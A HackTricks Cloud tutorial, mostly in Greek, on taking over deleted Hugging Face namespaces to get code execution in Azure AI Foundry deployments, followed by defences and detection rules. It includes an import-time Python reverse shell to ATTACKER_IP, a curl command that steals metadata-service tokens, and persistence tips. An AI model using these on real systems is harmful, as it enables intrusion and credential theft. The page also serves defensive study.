Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Σενάριο
- Το Azure AI Foundry Model Catalog περιλαμβάνει πολλά μοντέλα Hugging Face (HF) για one-click deployment.
- HF model identifiers are Author/ModelName. Εάν ένας HF author/org διαγραφεί, οποιοσδήποτε μπορεί να επανεγγράψει αυτόν τον author και να δημοσιεύσει ένα μοντέλο με το ίδιο ModelName στο legacy path.
- Pipelines και catalogs που τραβούν μόνο με όνομα (χωρίς commit pinning/integrity) θα επιλύονται σε attacker-controlled repos. Όταν το Azure αναπτύσσει το μοντέλο, ο loader code μπορεί να εκτελεστεί στο περιβάλλον του endpoint, παραχωρώντας RCE με τα permissions αυτού του endpoint.
Συνηθισμένες περιπτώσεις κατάληψης HF:
- Ownership deletion: Old path 404 until takeover.
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
Εντοπισμός επαναχρησιμοποιήσιμων namespaces (HF)
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
Ροή επίθεσης από άκρο σε άκρο κατά του Azure AI Foundry
- Στο Model Catalog, βρείτε HF models των οποίων οι original authors διαγράφηκαν ή μεταφέρθηκαν (ο παλιός author αφαιρέθηκε) στο HF.
- Re-register τον εγκαταλελειμμένο author στο HF και αναδημιουργήστε το ModelName.
- Δημοσιεύστε ένα malicious repo με loader code που εκτελείται κατά το import ή απαιτεί trust_remote_code=True.
- Αναπτύξτε το legacy Author/ModelName από το Azure AI Foundry. Η πλατφόρμα τραβάει το attacker repo; ο loader εκτελείται μέσα στο Azure endpoint container/VM, παρέχοντας RCE με τα δικαιώματα του endpoint.
Παράδειγμα payload fragment που εκτελείται κατά το import (μόνο για επίδειξη):
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
Σημειώσεις
- AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure.
Post-Exploitation Tips (Azure Endpoint)
- Απαριθμήστε τα environment variables και τα MSI endpoints για tokens:
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
- Ελέγξτε την προσαρτημένη αποθήκευση, τα αρχεία μοντέλου και τις προσβάσιμες υπηρεσίες Azure με το αποκτηθέν token.
- Σκεφτείτε τη διατήρηση πρόσβασης αφήνοντας δηλητηριασμένα αρχεία μοντέλου αν η πλατφόρμα επαναφορτώνει από το HF.
Οδηγίες άμυνας για χρήστες του Azure AI Foundry
- Κλειδώστε τα μοντέλα σε commit όταν τα φορτώνετε από το HF:
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
- Καθρεφτίστε ελεγμένα HF models σε ένα αξιόπιστο internal registry και αναπτύξτε από εκεί.
- Σαρώστε συνεχώς codebases και defaults/docstrings/notebooks για hard-coded Author/ModelName που έχουν διαγραφεί/μεταφερθεί; ενημερώστε ή κάντε pin.
- Επικυρώστε την ύπαρξη του author και την προέλευση του model πριν από την ανάπτυξη.
Κανόνες Αναγνώρισης (HTTP)
- Διαγραμμένος author: author page 404; legacy model path 404 until takeover.
- Μεταφερθέν model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
Διασταυρούμενες Αναφορές
- Δείτε την ευρύτερη μεθοδολογία και τις σημειώσεις για την αλυσίδα εφοδιασμού:
Αναφορές
- Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
- Hugging Face: Renaming or transferring a repo
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

